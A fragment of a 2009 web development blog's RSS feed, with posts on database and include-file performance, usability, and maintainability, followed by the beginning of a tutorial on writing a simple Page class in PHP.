&amp;bull;	Test, test, and test again. Poorly written queries can kill a database server. Take the time to gauge the performance of your queries and understand what the database needs to do in order to execute them.&lt;br /&gt;
&lt;br /&gt;
After database queries, disk reads are your next largest performance worry. It is common in scripted languages (like PHP or Perl) to keep groups of functions and variables in separate files in order to ease maintenance and make code more readable. While doing so has it advantages, we have to remember that every include() or require() statement involves a disk read, and every disk read increases load on the web server.&lt;br /&gt;
&lt;br /&gt;
Basically, we want to design our applications to have a minimal number of included files, or perhaps include the code explicitly when our application has become relatively stable.&lt;/p&gt;</description>
								         <pubDate>Tue, 11 Aug 2009 13:32:37 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/35/Performance</guid>
								      </item>								      <item>
								         <title>Usability</title>
								         <link>http://www.nileshpawar.com/34/Usability</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\Dipti\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:2;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:0 268435456 0 0 -2147483648 0;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:1627421319 -2147483648 8 0 66047 0;}
@font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:536871559 0 0 0 415 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.apple-converted-space
	{mso-style-name:apple-converted-space;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 @list l0
	{mso-list-id:685400563;
	mso-list-template-ids:-1083285142;}
@list l0:level1
	{mso-level-number-format:bullet;
	mso-level-text:&amp;#61623;;
	mso-level-tab-stop:.5in;
	mso-level-number-position:left;
	text-indent:-.25in;
	mso-ansi-font-size:10.0pt;
	font-family:Symbol;}
ol
	{margin-bottom:0in;}
ul
	{margin-bottom:0in;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;&lt;em&gt;&lt;span style=&quot;font-size: 10pt; font-family: Tahoma; color: black;&quot;&gt;Listen to the geeks&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;Computer programmers rely on the Internet for their work - it is the only place for many of the tools they need. I myself am severely impeded without a network connection. This reliance on the Net gives programmers a unique perspective on how to make things usable; as they use the Net more than anyone else, they know how to make processes and common actions as efficient as possible.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;&lt;em&gt;&lt;span style=&quot;font-size: 10pt; font-family: Tahoma; color: black;&quot;&gt;Listen to the newbies&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;New users, on the other hand, may have little or no technological background. They can't be expected to read manuals; they may not even have access to manuals. For that reason, the design goal is to make your software intuitive to the point where anyone can learn it on the fly.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;&lt;em&gt;&lt;span style=&quot;font-size: 10pt; font-family: Tahoma; color: black;&quot;&gt;Just because everyone else does it ...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;...means you have to do it too. People expect things to work in a certain way (i.e. so it becomes intuitive). If your application doesn't work like everyone else's, people may not understand it, or worse yet, think it is broken. Pay attention to how other sites handle forms, logins, and the like and make sure your interface is equivalent.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;&lt;em&gt;&lt;span style=&quot;font-size: 10pt; font-family: Tahoma; color: black;&quot;&gt;The need for speed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;The greatest threat to good usability comes from poor download speeds. A slow download breaks a user's train of thought. In a business environment it's pure inefficiency. In a consumer environment it's lost sales. The guidelines I like to use are as follows:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul type=&quot;disc&quot;&gt;
    &lt;li style=&quot;color: black; line-height: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Great: &amp;lt; 8      KB/page (text and images)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
    &lt;li style=&quot;color: black; line-height: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Good: 8 - 20      KB/page&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
    &lt;li style=&quot;color: black; line-height: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Reasonable: 20 -      50 KB/page&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
    &lt;li style=&quot;color: black; line-height: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Poor: 50 - 100      KB/page&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
    &lt;li style=&quot;color: black; line-height: 12pt;&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Don't: &amp;gt; 100      KB/page&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;Now, some might say that those numbers are outdated. After all, broadband is here, isn't it? Not quite. The majority of Internet users are on a dialup. More importantly, the advent of new technologies and networks goes in two directions - large and fast or small and slow. Good usability dictates that we satisfy both extremes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;When in doubt, use&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.google.com/&quot;&gt;&lt;span style=&quot;font-size: 9pt; color: rgb(36, 66, 118);&quot;&gt;Google&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;as a guideline. The size of their index page is carefully and deliberately calculated.&lt;/span&gt;&lt;/p&gt;</description>
								         <pubDate>Sun, 26 Jul 2009 09:50:29 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/34/Usability</guid>
								      </item>								      <item>
								         <title>Maintainability</title>
								         <link>http://www.nileshpawar.com/33/Maintainability</link>
								         <description>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;What's the number one cost in web design? Is it planning the application? Is it building the application for the first time? Is it the cost of the server or the connectivity?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;Actually, it's none of these things. The highest cost will be maintaining the application. This is in contrast to&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;traditional systems design&lt;/span&gt;&lt;/a&gt;, where a majority of expense is in the systems understanding and analysis.&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;Why the difference? With traditional systems, an application has a typical lifetime of 2 to 4 years. Once the application has reached a stable configuration the design effort is all but finished.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;On the other hand, the dynamic aspect of the web makes most applications outdated in months rather than years. Improvements in existing applications are continuous, new content is expected, new technologies appear on a regular basis. A web application must improvise or be replaced. Another way to put it is that web software is in a continual prototyping process - user feedback and design demands are much more prevalent than in their traditional counterparts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;The fact remains that your software must be frequently modified and updated. Realizing this at an early point in the design phase is crucial to making maintenance easier in the future. Trust me, I've learned the hard way.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;Build customization variables into your code. Separate code and content. Use templates. Use style sheets. Make the language of your site customizable. Develop a common coding style and stick with it. Comment your code well.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana; color: black;&quot;&gt;To put it simply, you can do what we do, and build&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;strong&gt;everything&lt;/strong&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;for distribution. It may seem like an unnecessary investment of time and resources if you a designing for one customer only, but, trust me, when the client starts asking you to make changes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 20 Jul 2009 13:55:35 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/33/Maintainability</guid>
								      </item>								      <item>
								         <title>Security</title>
								         <link>http://www.nileshpawar.com/32/Security</link>
								         <description></description>
								         <pubDate>Sat, 18 Jul 2009 12:12:24 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/32/Security</guid>
								      </item>								      <item>
								         <title>Writing Class in PHP</title>
								         <link>http://www.nileshpawar.com/31/Writing-Class-in-PHP</link>
								         <description>&lt;p&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot; /&gt;
&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 10&quot; /&gt;
&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 10&quot; /&gt;
&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:\DOCUME~1\Dipti\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; /&gt;
&lt;link rel=&quot;Edit-Time-Data&quot; href=&quot;file:///C:\DOCUME~1\Dipti\LOCALS~1\Temp\msohtml1\01\clip_editdata.mso&quot; /&gt;&lt;/p&gt;
&lt;!--[if !mso]&gt;
&lt;style&gt;
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
h3
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:3;
	font-size:13.5pt;
	font-family:&quot;Times New Roman&quot;;
	font-weight:bold;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
pre
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
	font-size:10.0pt;
	font-family:&quot;Courier New&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;Classes are little more than a container for variables and functions affecting those variables, but they can be very useful for building small components - almost miniture programs.&amp;nbsp; The difference is that you dont need to shell out to them or anything, and they can be plugged into most scripts with ease - Just a require or include statement at the top. A class describes an 'object'. An object is a collection of smaller objects, just like in a class. Say for instance, we want to describe a simple door lock. A lock class might contain:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;variable $Bolt&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;variable $Position&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;function TurnKey( $Direction, $Distance )&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;function CheckLock( )&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 12pt;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 12pt;&quot;&gt;TurnKey would accept a direction value that would in turn determine if the bolt should be locked or unlocked. Once the key is turned far enough in either direction ($Distance) the Bolt will either set or clear. The $Bolt variable shows the current state of the door lock, and $Position is used to track how far the key has been turned in any direction. Now, obviously this could all be done with regular variables and functions, and if you only need to use one lock in the code, it would probably work just fine. But what if you want more than one lock? One if you wanted more details about the lock, or even something else? Maybe you want a door in the code, too - And the lock would just be a subset of the door. Maybe you have a whole house. You might have more than one door, or you might not. But each door certainly needs a lock. You can see how complex object-related problems can get.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
By using classes, you can define an object once, and then include it in several scripts also. You'll be assured that your object will funciton the same in all of the scripts! Its good practice to write your classes in a seperate file usually, that way you only have to change it in one location. Make full use of PHP's include and require functions, they have many uses.&lt;br /&gt;
&lt;br /&gt;
In the next section, I will walk you through creating a simple class.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;&lt;hr width=&quot;100%&quot; size=&quot;2&quot; align=&quot;left&quot; /&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;a name=&quot;part2&quot;&gt;Class Structures&lt;o:p&gt;&lt;/o:p&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;For lack of a better example right now, i'm going to show you how to create a simple page object. The page object encompasses a few of the basic page necessities in building an HTML page. Now, there is a &lt;em&gt;lot &lt;/em&gt;more you could do with this class, but i'm going to keep it simple for the time being. You guys can expand on it if want later. Okay, lets start by looking at what the basic elements of an HTML page are. First, you have the open and closing tags, &amp;lt;HTML&amp;gt; and &amp;lt;/HTML&amp;gt;. Those will need to be included in the output. Also, you have the page Title, Keywords for the Metatag field, and naturally the main content, or body. Now that we know what we need, lets start building our class.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
First thing we need is the class itself:&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt; class&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Page&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;br /&gt;
This is a basic class. No variables, no functions, nothing - Completely empty. All class structures look the same here with the exception of the 'Page' name. Every class/object is assigned a name for reference. You'll need to know this to create new copies of the object, so pick something straightforward and sensible.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
Next, we need to put in our variables. We need a title for the page, keywords, and a content body, like so:&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;class&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Page&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Title&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Keywords&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Content&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;br /&gt;
Now, we could actually start using the class here. We have an object. But it isn't done - We still want to add some functions, to make it easier to work with.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
What functions do we need? Well, we need something to build the output HTML. Lets call that 'Display'. Lets create simple functions for displaying the Title and Keywords, also. Lets make a function for setting the content as well.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
The final class code is: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;class&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Page&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Title&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Keywords&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$Content&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;Display&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;)&amp;nbsp;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&amp;quot;&amp;lt;HTML&amp;gt;\n&amp;lt;HEAD&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 204);&quot;&gt;DisplayTitle&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;(&amp;nbsp;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;
